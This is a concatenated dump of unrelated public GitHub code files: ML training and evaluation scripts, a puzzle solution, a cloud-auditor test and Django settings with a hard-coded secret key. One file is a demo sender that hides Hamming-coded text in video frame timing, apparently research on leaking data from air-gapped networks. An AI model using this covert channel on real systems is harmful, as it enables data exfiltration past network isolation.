show=False)\n #\n # stitched_img = get_stitched_tensorboard_image([assign], [gt_visuals], [map_visuals], blob, itr)\n # stitched_img = np.expand_dims(stitched_img, 0)\n # # obsolete\n # # images_feed_dict = get_images_feed_dict(assign, blob, None, None, images_placeholders)\n # images_feed_dict = dict()\n # images_feed_dict[images_placeholders[1]] = stitched_img\n #\n # # save images to tensorboard\n # summary = sess.run([images_summary_op[1]], feed_dict=images_feed_dict)\n # writer.add_summary(summary[0], float(itr))\n post_assign_to_tensorboard([assign], [prepped_assign], network_heads, feed_dict, itr, sess, writer, blob, valid=1)\n\n\n if itr % args.validation_loss_final == 0:\n print(\"do full validation\")\n\n if itr % args.save_interval == 0:\n print(\"saving weights\")\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver.save(sess, checkpoint_dir + \"/\" + checkpoint_name)\n global store_dict\n if store_dict:\n print(\"Saving dictionary\")\n dictionary = args.dict_info\n with open(os.path.join(checkpoint_dir, 'dict' + '.pickle'), 'wb') as handle:\n pickle.dump(dictionary, handle, protocol=pickle.HIGHEST_PROTOCOL)\n store_dict = False # we need to save the dict only once\n\n iteration = (iteration + do_itr)\n if args.prefetch == \"True\":\n data_layer.kill()\n\n return iteration\n\n\n# def get_images_feed_dict(assign, blob, gt_visuals, map_visuals, images_placeholders):\n#\n# # obsolete, should not be used!\n#\n# feed_dict = dict()\n# # reverse map vis order\n# for i in range(len(assign[\"ds_factors\"])):\n# feed_dict[images_placeholders[i]] = np.concatenate([gt_visuals[i], map_visuals[i]])\n#\n# for key in feed_dict.keys():\n# feed_dict[key] = np.expand_dims(feed_dict[key], 0)\n#\n# if blob[\"helper\"] is not None:\n# feed_dict[images_placeholders[len(images_placeholders) - 2]] = (\n# blob[\"helper\"] / np.max(blob[\"helper\"]) * 255).astype(np.uint8)\n# else:\n# data_shape = blob[\"data\"].shape[: -1]+ (3,)\n# feed_dict[images_placeholders[len(images_placeholders) - 2]] = np.zeros(data_shape, dtype=np.uint8)\n#\n# if blob[\"data\"].shape[3] == 1:\n# img_data = np.concatenate([blob[\"data\"], blob[\"data\"], blob[\"data\"]], -1).astype(np.uint8)\n# else:\n# img_data = blob[\"data\"].astype(np.uint8)\n# feed_dict[images_placeholders[len(images_placeholders) - 1]] = img_data\n# return feed_dict\n\ndef get_spacer_pattern(shape):\n shape_a, shape_b, depth = shape\n\n x = np.arange(0, shape_b, 1)\n y = np.arange(0, shape_a, 1)\n xx, yy = np.meshgrid(x, y, sparse=True)\n z = (xx + yy)%100\n spacer = z/np.max(z)*255\n spacer[spacer==0]=150\n spacer = np.stack([spacer*0,spacer,spacer*0], axis=-1)\n\n return spacer\n\n\n\ndef get_stitched_tensorboard_image(assign, gt_visuals, map_visuals, blob, itr):\n pix_spacer = 3\n\n # use first image of batch\n blob = blob[0]\n\n sub_b_img = []\n for sub_ind, sub_blob in enumerate(blob):\n #print(\"doit!\")\n # input image + gt\n input_gt = overlayed_image(sub_blob[\"data\"][0], gt_boxes=sub_blob[\"gt_boxes\"][0], pred_boxes=None)\n\n # input image + prediction\n #TODO get actual predictions\n input_pred = overlayed_image(sub_blob[\"data\"][0], gt_boxes=None, pred_boxes=sub_blob[\"gt_boxes\"][0])\n\n # concat inputs\n conc = np.concatenate((input_gt, get_spacer_pattern((input_gt.shape[0], pix_spacer, 3)).astype(\"uint8\"), input_pred), axis = 1)\n # im = Image.fromarray(conc)\n # im.save(sys.argv[0][:-17] + \"asdfsadfa.png\")\n\n # iterate over tasks\n for i in range(len(assign)):\n # concat task outputs\n for ii in range(len(assign[i][\"ds_factors\"])):\n sub_map = np.concatenate([gt_visuals[i][sub_ind][ii], get_spacer_pattern((gt_visuals[i][sub_ind][ii].shape[0], pix_spacer,3)).astype(\"uint8\"), map_visuals[i][ii+sub_ind*len(assign[i][\"ds_factors\"])]], axis = 1)\n if sub_map.shape[1] != conc.shape[1]:\n expand = get_spacer_pattern((sub_map.shape[0], conc.shape[1], sub_map.shape[2]))\n expand[:, 0:sub_map.shape[1]] = sub_map\n sub_map = expand.astype(\"uint8\")\n conc = np.concatenate((conc, get_spacer_pattern((pix_spacer, conc.shape[1],3)).astype(\"uint8\"), sub_map), axis = 0)\n\n\n # show loss masks if necessary\n show_masks = True\n if show_masks:\n for i in range(len(assign)):\n # concat task outputs\n for ii in range(len(assign[i][\"ds_factors\"])):\n mask = sub_blob[\"assign\"+str(i)][\"mask\"+str(ii)]\n mask = mask/np.max(mask)*255\n mask = np.concatenate([mask,mask,mask], -1)\n\n sub_map = np.concatenate(\n [gt_visuals[i][sub_ind][ii], get_spacer_pattern((gt_visuals[i][sub_ind][ii].shape[0], pix_spacer, 3)).astype(\"uint8\"),\n mask.astype(\"uint8\")], axis=1)\n if sub_map.shape[1] != conc.shape[1]:\n expand = get_spacer_pattern((sub_map.shape[0], conc.shape[1], sub_map.shape[2]))\n expand[:, 0:sub_map.shape[1]] = sub_map\n sub_map = expand.astype(\"uint8\")\n conc = np.concatenate((conc, get_spacer_pattern((pix_spacer, conc.shape[1], 3)).astype(\"uint8\"), sub_map), axis=0)\n sub_b_img.append(conc)\n sub_b_img.append(get_spacer_pattern((conc.shape[0], pix_spacer, 3)).astype(\"uint8\"))\n conc = np.concatenate(sub_b_img, axis=1)\n\n # prepend additional info\n add_info = Image.fromarray(np.ones((50, conc.shape[1],3), dtype=\"uint8\")*255)\n\n draw = ImageDraw.Draw(add_info)\n font = ImageFont.truetype(\"/usr/share/fonts/truetype/ubuntu-font-family/UbuntuMono-R.ttf\", 18)\n draw.text((2, 2), \"Iteration Nr: \" + str(itr), (0, 0, 0), font=font)\n # add_info.save(sys.argv[0][:-17] + \"add_info.png\")\n add_info = np.asarray(add_info).astype(\"uint8\")\n conc = np.concatenate((add_info, conc), axis=0)\n return conc\n\ndef get_gt_placeholders(assign, imdb, paired_data, nr_classes, args):\n gt_placehoders = []\n for pair_nr in range(paired_data):\n gt_dim = assign[\"stamp_func\"][1](None, assign[\"stamp_args\"], nr_classes, args)\n gt_placehoders.append([tf.placeholder(tf.float32, shape=[None, None, None, gt_dim]) for x in assign[\"ds_factors\"]])\n return gt_placehoders\n\n\ndef get_config_id(assign):\n return assign[\"stamp_func\"][0] + \"_\" + assign[\"stamp_args\"][\"loss\"]\n\n\ndef get_checkpoint_dir(args):\n # assemble path\n if \"300dpi\" in args.dataset:\n image_mode = \"300dpi\"\n if \"DeepScores\" in args.dataset:\n image_mode = \"music\"\n elif \"MUSICMA\" in args.dataset:\n image_mode = \"music_handwritten\"\n elif \"macrophages\" in args.dataset:\n image_mode = \"macrophages\"\n elif \"Dota\" in args.dataset:\n image_mode = \"Dota\"\n else:\n image_mode = \"realistic\"\n tbdir = args.exp_dir + \"/\" + image_mode + \"/\" + \"pretrain_lvl_\" + args.pretrain_lvl + \"/\" + args.model\n if not os.path.exists(tbdir):\n os.makedirs(tbdir)\n runs_dir = os.listdir(tbdir)\n if args.continue_training == \"True\" or args.continue_training == \"Last\":\n tbdir = tbdir + \"/\" + \"run_\" + str(len(runs_dir) - 1)\n else:\n tbdir = tbdir + \"/\" + \"run_\" + str(len(runs_dir))\n os.makedirs(tbdir)\n return tbdir\n\n\ndef get_training_roidb(imdb, use_flipped):\n \"\"\"Returns a roidb (Region of Interest database) for use in training.\"\"\"\n if use_flipped:\n print('Appending horizontally-flipped training examples...')\n imdb.append_flipped_images()\n print('done')\n\n print('Preparing training data...')\n rdl_roidb.prepare_roidb(imdb)\n print('done')\n\n return imdb.roidb\n\n\ndef save_objectness_function_handles(args):\n FUNCTION_MAP = {'stamp_directions': stamp_directions,\n 'stamp_energy': stamp_energy,\n 'stamp_class': stamp_class,\n 'stamp_bbox': stamp_bbox,\n 'stamp_semseg': stamp_semseg\n }\n\n for obj_setting in args.training_assignements:\n obj_setting[\"stamp_func\"] = [obj_setting[\"stamp_func\"], FUNCTION_MAP[obj_setting[\"stamp_func\"]]]\n\n return args\n\n\ndef build_config_fingerprint(config):\n\n m = hashlib.sha224()\n relevant_args = [config.crop, config.crop_top_left_bias, config.augmentation_type, config.max_edge,\n config.use_flipped,config.substract_mean,config.pad_to, config.pad_with, config.batch_size,\n config.dataset, config.prefetch_size, config.max_energy, config.bbox_angle, config.class_estimation,\n config.sparse_heads]\n for x in config.scale_list:\n relevant_args.append(x)\n relevant_args.append(json.dumps(config.training_assignements, sort_keys=True))\n\n for i in relevant_args:\n m.update(str(i).encode('utf-8'))\n\n return m.hexdigest()\n\n\ndef load_database(args):\n print(\"Setting up image database: \" + args.dataset)\n imdb = get_imdb(args,args.dataset)\n print('Loaded dataset `{:s}` for training'.format(imdb.name))\n roidb = get_training_roidb(imdb, args.use_flipped == \"True\")\n print('{:d} roidb entries'.format(len(roidb)))\n\n if args.dataset_validation != \"no\":\n print(\"Setting up validation image database: \" + args.dataset_validation)\n imdb_val = get_imdb(args,args.dataset_validation)\n print('Loaded dataset `{:s}` for validation'.format(imdb_val.name))\n roidb_val = get_training_roidb(imdb_val, False)\n print('{:d} roidb entries'.format(len(roidb_val)))\n else:\n imdb_val = None\n roidb_val = None\n\n data_layer = RoIDataLayer(roidb, imdb.num_classes, augmentation=args.augmentation_type)\n\n if roidb_val is not None:\n data_layer_val = RoIDataLayer(roidb_val, imdb_val.num_classes, random=True)\n\n return imdb, roidb, imdb_val, roidb_val, data_layer, data_layer_val\n\n\ndef get_nr_classes():\n return nr_classes\n","repo_name":"tuggeluk/DeepWatershedDetection","sub_path":"lib/main/train_dwd.py","file_name":"train_dwd.py","file_ext":"py","file_size_in_byte":47422,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"} +{"seq_id":"70475628241","text":"import torch, json, sys \n\nSPLIT = sys.argv[1] # val or test\nMBR_PATH = sys.argv[2] # output path.\n\n# read files.\nif SPLIT == 'val':\n source_file = '/diffusion_lm/ROCstory/anlg/anlg/dev_cleanup.json'\nelif SPLIT == 'test':\n source_file = '/diffusion_lm/ROCstory/anlg/anlg/test_cleanup_no_label.json'\nelse:\n assert False, \"invalid split\"\n\nwith open(source_file, 'r') as f:\n sent_lst = json.load(f)\n\n# read generation\ngenerated_lst = []\n# with open('/diffusion_lm/improved-diffusion/anlg_results/ar_beam_500.json', 'r') as f:\n# with open('/diffusion_lm/improved-diffusion/anlg_results/ar_beam_500_v2.json', 'r') as f:\n# with open('/diffusion_lm/improved-diffusion/anlg_results/ar_full_mbr.json', 'r') as f:\n# with open('/diffusion_lm/improved-diffusion/anlg_results/diff_full.json', 'r') as f:\nwith open(MBR_PATH, 'r') as f:\n for line in f:\n generated_lst.append(json.loads(line))\n\nprint(len(generated_lst), len(sent_lst))\n# eval_file_gen = \"/diffusion_lm/improved-diffusion/anlg_results/ar_gen_mbr_v2.txt\"\n# eval_file_gold = \"/diffusion_lm/improved-diffusion/anlg_results/ar_ref_mbr_v2.txt\"\nif SPLIT == 'val':\n eval_file_gen = f\"{MBR_PATH}_gen.txt\"\n fgen = open(eval_file_gen, 'w')\n eval_file_gold = f\"{MBR_PATH}_ref.txt\" # \"/diffusion_lm/improved-diffusion/anlg_results/diff_ref_v1.txt\"\n fgold = open(eval_file_gold, 'w')\n for gen, gold in zip(generated_lst, sent_lst.items()):\n print(gen['sample'], file=fgen)\n gold = gold[1]\n for x in gold['gold_labels']:\n print(x, file=fgold)\n print('', file=fgold)\n fgold.close()\n fgen.close()\nelif SPLIT == 'test':\n eval_file_prediction = f\"{MBR_PATH}_prediction.json\" # \"/diffusion_lm/improved-diffusion/anlg_results/diff_ref_v1.txt\"\n # fpred = open(eval_file_prediction, 'w')\n full_dict = {}\n for gen, gold in zip(generated_lst, sent_lst.items()):\n print(gold)\n print(gen['sample'])\n full_dict[gold[0]] = gen['sample']\n # temp_dict = {gold[0]:gen['sample']}\n # print(temp_dict)\n # print(json.dumps(temp_dict), file=fpred)\n # gold = gold[1]\n # for x in gold['gold_labels']:\n # print(x, file=fgold)\n # print('', file=fgold)\n with open(eval_file_prediction, 'w') as fpred:\n json.dump(full_dict, fpred)\n\n ###########\n test_ref = '/diffusion_lm/ROCstory/anlg/anlg/test_cleanup_ref.json'\n with open(test_ref, 'r') as f:\n test_ref_lst = json.load(f)\n\n eval_file_gen = f\"{MBR_PATH}_gen.txt\"\n fgen = open(eval_file_gen, 'w')\n eval_file_gold = f\"{MBR_PATH}_ref.txt\" # \"/diffusion_lm/improved-diffusion/anlg_results/diff_ref_v1.txt\"\n fgold = open(eval_file_gold, 'w')\n for gen, gold in zip(generated_lst, sent_lst.items()):\n story_id = gold[0]\n print(gen['sample'], file=fgen)\n for x in test_ref_lst[story_id]:\n print(x, file=fgold)\n print('', file=fgold)\n fgold.close()\n fgen.close()\n\n\n# generate prediction.json\n\n","repo_name":"XiangLi1999/Diffusion-LM","sub_path":"improved-diffusion/anlg_infill/run_evaluation.py","file_name":"run_evaluation.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":912,"dataset":"github-code","pt":"3"} +{"seq_id":"72888283280","text":"# -- coding: utf-8 --\nfrom pandas import DataFrame\nimport os\nimport math\nimport numpy as np\nimport pandas as pd\nimport sys\nimport gradio as gr\nimport requests\n\nfps = 60\ntime_len = 20\nframe_total = 1200\n# frame_total = 2202\ndef encode(s):\n data_without_fec = ''.join([bin(ord(c)).replace('0b', '').zfill(16) for c in s])\n # doing FEC\n r = 3\n n = int(math.pow(2, r)) - 1\n k = n - r \n data_with_fec = np.zeros(math.ceil(len(data_without_fec) / k * n))\n hamming_cycles = len(data_without_fec) // k\n integer_power2 = np.ones(r, dtype=\"int\")\n\n for i in range(1,r):\n integer_power2[i] = integer_power2[i - 1] * 2\n\n for i in range(0, hamming_cycles):\n xor_result = 0\n data_to_transfer_count = 0\n for j in range(0, n):\n if not ((j + 1) in integer_power2):\n # print(j)\n data_with_fec[i * n + j] = int(data_without_fec[i * k + data_to_transfer_count])\n data_to_transfer_count = data_to_transfer_count + 1\n if(data_with_fec[i * n + j] == 1):\n xor_result = xor_result ^ (j+1)\n else:\n data_with_fec[i * n + j] = 0\n\n for j in range(0, r):\n if(xor_result % 2 == 1):\n data_with_fec[i * n + integer_power2[j] - 1] = 1\n xor_result = xor_result // 2\n\n return data_with_fec\n\ndef decode(data_received):\n r = 3\n n = int(math.pow(2, r)) - 1\n k = n - r\n data_decoded = \"\"\n hamming_cycles = len(data_received) // n\n # print(\"hamming_cycles=\", hamming_cycles)\n integer_power2 = np.ones(r, dtype=\"int\")\n\n for i in range(1, r):\n integer_power2[i] = integer_power2[i - 1] * 2\n\n for i in range(0, hamming_cycles):\n xor_result = 0\n xor_extract = 0\n data_to_transfer_count = 0\n for j in range(0, n):\n if not ((j + 1) in integer_power2):\n if (data_received[i * n + j] == 1):\n xor_result = xor_result ^ (j + 1)\n else:\n # print(\"i=\", i)\n # print(i * n + j)\n xor_extract = xor_extract + int((j + 1) * data_received[i * n + j])\n # print(type(xor_result), type(xor_extract))\n xor_decoded = xor_result ^ xor_extract\n if (xor_decoded == 0):\n # print(\"no error!\")\n pass\n else:\n # print(\"No.\"+str(xor_decoded)+\"is error!\")\n data_received[i * n + xor_decoded - 1] = int(data_received[i * n + xor_decoded - 1]) ^ 1\n # pass\n data_decoded_count = 0\n for j in range(0, n):\n if not ((j + 1) in integer_power2):\n\n data_decoded = data_decoded + (str(int(data_received[i * n + j])))\n data_decoded_count = data_decoded_count + 1\n\n return ''.join([chr(i) for i in [int(b, 2) for b in [data_decoded[16*k:16*(k+1)] for k in range(0, math.floor(len(data_decoded) / 16))]]])\n\n# os.chdir(r\"C:\\Users\\Administrator.DESKTOP-8L1OBSS\\Desktop\\magview_demo\")\n# os.chdir(r\"\")\n\ndef timestamp_generation(text):\n # text = sys.argv[1]\n print(text)\n message = encode(text)\n print(len(message))\n preamble = np.array([1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0])\n other = np.round(np.random.rand((time_len-10)*fps - len(message) - len(preamble)))\n d = pd.read_csv(\"message_transfer.csv\", sep='.')\n data = d['true_number'].values\n print(data)\n file = open(r'timestamp_message_transfer.txt','w')\n file.write(\"# timestamp format v2\")\n Interval = 1000/fps\n before = 5\n after = 5\n for i in np.arange(0, before * fps, 1):\n file.write(\"\\n\")\n file.write(str(i*Interval))\n\n for i in np.arange(0, (time_len - 10) * fps, 1):\n if(data[i] == 1):\n file.write(\"\\n\")\n file.write(str(i*Interval + 3 + before * fps * Interval))\n else:\n file.write(\"\\n\")\n file.write(str(i*Interval - 3 + before * fps * Interval))\n\n for i in np.arange(0 , (frame_total - 1200) + after * fps , 1):\n file.write(\"\\n\")\n file.write(str((i + (frame_total - after * fps ))*Interval))\n file.close()\n\n ss = decode(message)\n print( ss)\n os.system(\"mkvmerge --timestamps 0:timestamp_message_transfer.txt demo_20s.mp4 -o output.mkv\")\n return \"编码成功！\"\n\nif __name__ == '__main__':\n\n # text = \"欢迎来到智能系统安全实验室\"\n # text = gr.inputs.Text()\n gr.Interface(fn=timestamp_generation, inputs=\"text\", outputs=\"text\", layout=\"vertical\", title=\"隔离网络信息泄露\").launch()\n","repo_name":"juchuanzhang/Demo","sub_path":"magview/magview_sender/magview_demo_auto_encoding_with_gui_v2.py","file_name":"magview_demo_auto_encoding_with_gui_v2.py","file_ext":"py","file_size_in_byte":4671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74366682962","text":"N = 6000\n\ntext = input().split(' ')\ny, x = int(text[-3][:-1]), int(text[-1][:-1])\n\nx1 = None\nval = 20151125\nfor i in range(N):\n for j in range(i + 1):\n if not (i == 0 and j == 0):\n val = val * 252533 % 33554393\n\n if i - j == y - 1 and j == x - 1:\n x1 = val\n\nprint(x1)\n","repo_name":"Zeko369/Advent-of-code-2015","sub_path":"day-25/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"13780297603","text":"import datetime\n\nfrom cloud_inquisitor.config import dbconfig, DBCJSON\nfrom cloud_inquisitor.constants import NS_AUDITOR_REQUIRED_TAGS, AuditActions\nfrom tests.libs.cinq_test_cls import MockRequiredTagsAuditor\nfrom tests.libs.util_cinq import aws_get_client, setup_test_aws, collect_resources\n\n\ndef test_basic_ops(cinq_test_service):\n \"\"\"\n Test will pass if:\n 1. Auditor can detect non-compliant EC2 instances\n 2. Auditor respect grace period settings\n \"\"\"\n\n # Prep\n cinq_test_service.start_mocking_services('ec2')\n\n setup_info = setup_test_aws(cinq_test_service)\n recipient = setup_info['recipient']\n account = setup_info['account']\n\n db_setting = dbconfig.get('audit_scope', NS_AUDITOR_REQUIRED_TAGS)\n db_setting['enabled'] = ['aws_ec2_instance']\n dbconfig.set(NS_AUDITOR_REQUIRED_TAGS, 'audit_scope', DBCJSON(db_setting))\n dbconfig.set(NS_AUDITOR_REQUIRED_TAGS, 'collect_only', False)\n\n # Add resources\n client = aws_get_client('ec2')\n resource = client.run_instances(ImageId='i-10000', MinCount=1, MaxCount=1)\n\n # Collect resources\n collect_resources(account=account, resource_types=['ec2'])\n\n # Initialize auditor\n auditor = MockRequiredTagsAuditor()\n\n # Test 1 --- Test if auditor respect grace period settings\n cinq_test_service.modify_resource(\n resource['Instances'][0]['InstanceId'],\n 'launch_date',\n datetime.datetime.utcnow().isoformat()\n )\n auditor.run()\n assert auditor._cinq_test_notices == {}\n\n # Test 2 --- Test if auditor can pick up non-compliant resources correctly\n ''' Modify resource property'''\n assert cinq_test_service.modify_resource(\n resource['Instances'][0]['InstanceId'],\n 'launch_date',\n '2000-01-01T00:00:00'\n ) is True\n\n auditor.run()\n notices = auditor._cinq_test_notices\n\n assert recipient in notices\n assert notices[recipient]['not_fixed'][0]['resource'].id == resource['Instances'][0]['InstanceId']\n\n # Test 3 --- Test if auditor can terminate ec2 correctly\n cinq_test_service.modify_issue(\n auditor._cinq_test_notices[recipient]['not_fixed'][0]['issue'].id,\n 'created',\n 0\n )\n\n auditor.run()\n notices = auditor._cinq_test_notices\n\n ''' Check if the action is correct'''\n assert notices[recipient]['not_fixed'][0]['action'] == AuditActions.REMOVE\n\n ''' Check if the instance is terminated '''\n assert client.describe_instance_status(\n InstanceIds=[notices[recipient]['not_fixed'][0]['resource'].id]\n )['InstanceStatuses'][0]['InstanceState']['Name'] == 'terminated'\n","repo_name":"RiotGames/cloud-inquisitor","sub_path":"backend/tests/test_cinq_auditor_aws_required_tags_ec2.py","file_name":"test_cinq_auditor_aws_required_tags_ec2.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":453,"dataset":"github-code","pt":"3"} +{"seq_id":"5779468334","text":"# Django settings for qatrack project.\nimport django.conf.global_settings as DEFAULT_SETTINGS\nimport os\n\n\n#-----------------------------------------------------------------------------\n# Debug settings - remember to set both DEBUG & TEMPLATE_DEBUG to false when\n# deploying (either here or in local_settings.py)\nDEBUG = True\nTEMPLATE_DEBUG = True\n\n# Who to email when server errors occur\nADMINS = (\n ('Admin Name', 'admin.email@yourplace.com'),\n)\nMANAGERS = ADMINS\nSEND_BROKEN_LINK_EMAILS = True\n\n#-----------------------------------------------------------------------------\n# misc settings\nPROJECT_ROOT = os.path.abspath(os.path.dirname(__file__))\n\nVERSION = \"0.2.8\"\nBUG_REPORT_URL = \"https://bitbucket.org/tohccmedphys/qatrackplus/issues/new\"\nFEATURE_REQUEST_URL = BUG_REPORT_URL\n\n# Python dotted path to the WSGI application used by Django's runserver.\nWSGI_APPLICATION = 'qatrack.wsgi.application'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = '78kj_s=rqh46bsv10eb-)uyy02kr35jy19pp*7u$4-te=x0^86'\nROOT_URLCONF = 'qatrack.urls'\n\nSITE_ID = 1\nSITE_NAME = \"QATrack+\"\n\n#-----------------------------------------------------------------------------\n# Database settings\n\n# if you wish to override the database settings below (e.g. for deployment),\n# please do so here or in a local_settings.py file\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.\n 'NAME': os.path.join(PROJECT_ROOT, '..', 'db/default.db'), # Or path to database file if using sqlite3.\n 'USER': '', # Not used with sqlite3.\n 'PASSWORD': '', # Not used with sqlite3.S\n 'HOST': '', # Set to empty string for localhost. Not used with sqlite3.\n 'PORT': '', # Set to empty string for default. Not used with sqlite3.\n }\n}\n\n#----------------------------------------------------------------------------\n# Default local settings\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# On Unix systems, a value of None will cause Django to use the same\n# timezone as the operating system.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Phoenix'\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale\nUSE_L10N = True\n\n# If you set this to False, Django will not use timezone-aware datetimes.\nUSE_TZ = True\n\nFORMAT_MODULE_PATH = \"qatrack.formats\"\n\nINPUT_DATE_FORMATS = (\n \"%d-%m-%Y %H:%M\", \"%d/%m/%Y %H:%M\",\n \"%d-%m-%y %H:%M\", \"%d/%m/%y %H:%M\",\n)\nSIMPLE_DATE_FORMAT = \"%d-%m-%Y\"\nDATETIME_HELP = \"Format DD-MM-YY hh:mm (hh:mm is 24h time e.g. 31-05-12 14:30)\"\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n\n#----------------------------------------------------------------------------\n# static media settings\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/home/media/media.lawrence.com/media/\"\nMEDIA_ROOT = os.path.join(PROJECT_ROOT, \"media\")\nUPLOAD_ROOT = os.path.join(MEDIA_ROOT, \"uploads\")\nTMP_UPLOAD_ROOT = os.path.join(UPLOAD_ROOT, \"tmp\")\nfor d in (MEDIA_ROOT, UPLOAD_ROOT, TMP_UPLOAD_ROOT):\n if not os.path.isdir(d):\n os.mkdir(d)\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://media.lawrence.com/media/\", \"http://example.com/media/\"\nMEDIA_URL = '/media/'\nUPLOADS_URL = MEDIA_URL + 'uploads/'\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/home/media/media.lawrence.com/static/\"\nSTATIC_ROOT = os.path.join(PROJECT_ROOT, \"static\")\n\n# URL prefix for static files.\n# Example: \"http://media.lawrence.com/static/\"\nSTATIC_URL = '/static/'\n\n# Additional locations of static files\nSTATICFILES_DIRS = (\n # Put strings here, like \"/home/html/static\" or \"C:/www/django/static\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n os.path.join(PROJECT_ROOT, \"admin_media\"),\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n # 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# add a site specific css file if one doesn't already exist\nSITE_SPECIFIC_CSS_PATH = os.path.join(PROJECT_ROOT, \"qa\", \"static\", \"css\", \"site.css\")\nif not os.path.isfile(SITE_SPECIFIC_CSS_PATH):\n with open(SITE_SPECIFIC_CSS_PATH, 'w') as f:\n f.write(\"/* You can place any site specific css in this file*/\\n\")\n\n\n#------------------------------------------------------------------------------\n# Middleware\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n #'django.contrib.auth.middleware.RemoteUserMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'qatrack.middleware.login_required.LoginRequiredMiddleware',\n 'qatrack.middleware.maintain_filters.FilterPersistMiddleware',\n)\n\n# for django-debug-toolbar\nINTERNAL_IPS = ('127.0.0.1',)\n\n\n# login required middleware settings\nLOGIN_EXEMPT_URLS = [r\"^accounts/\", ]\nACCOUNT_ACTIVATION_DAYS = 7\nLOGIN_REDIRECT_URL = '/qa/unit/'\nLOGIN_URL = \"/accounts/login/\"\n\n\n#------------------------------------------------------------------------------\n# Template settings\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n #('django.template.loaders.cached.Loader', (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n #)),\n # 'django.template.loaders.eggs.Loader',\n)\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n os.path.join(PROJECT_ROOT, \"templates\"),\n os.path.join(PROJECT_ROOT, \"theme_bootstrap\", \"templates\"),\n \"genericdropdown/templates\",\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = list(DEFAULT_SETTINGS.TEMPLATE_CONTEXT_PROCESSORS)\nTEMPLATE_CONTEXT_PROCESSORS += [\n 'django.core.context_processors.request',\n \"qatrack.context_processors.site\",\n]\n\n#------------------------------------------------------------------------------\n# Fixtures\n# you can add more default fixture locations here\nFIXTURE_DIRS = (\n 'fixtures/defaults/qa',\n 'fixtures/defaults/units',\n)\n\n#------------------------------------------------------------------------------\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.formtools',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.humanize',\n\n 'tastypie',\n\n 'genericdropdown',\n\n 'qatrack.cache',\n 'qatrack.accounts',\n 'qatrack.units',\n 'qatrack.qa',\n 'qatrack.theme_bootstrap',\n 'qatrack.data_tables',\n 'qatrack.notifications',\n 'qatrack.contacts',\n 'qatrack.pim',\n\n 'south',\n 'admin_views',\n]\n#-----------------------------------------------------------------------------\n# Cache settings\n\nCACHE_UNREVIEWED_COUNT = 'unreviewed-count'\nCACHE_QA_FREQUENCIES = 'qa-frequencies'\nMAX_CACHE_TIMEOUT = 24 * 60 * 60 # 24hours\n\nCACHE_LOCATION = os.path.join(PROJECT_ROOT, \"cache\", \"cache_data\")\nif not os.path.isdir(CACHE_LOCATION):\n os.mkdir(CACHE_LOCATION)\n\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',\n 'LOCATION': CACHE_LOCATION,\n 'TIMEOUT': MAX_CACHE_TIMEOUT,\n }\n}\n\n#-----------------------------------------------------------------------------\n# Session Settings\nSESSION_COOKIE_AGE = 14 * 24 * 60 * 60\n\n#-----------------------------------------------------------------------------\n# Email and notification settings\nEMAIL_NOTIFICATION_USER = None\nEMAIL_NOTIFICATION_PWD = None\nEMAIL_NOTIFICATION_TEMPLATE = \"notification_email.txt\"\nEMAIL_NOTIFICATION_SENDER = \"qatrack\"\n# use either a static subject or a customizable template\n#EMAIL_NOTIFICATION_SUBJECT = \"QATrack+ Test Status Notification\"\nEMAIL_NOTIFICATION_SUBJECT_TEMPLATE = 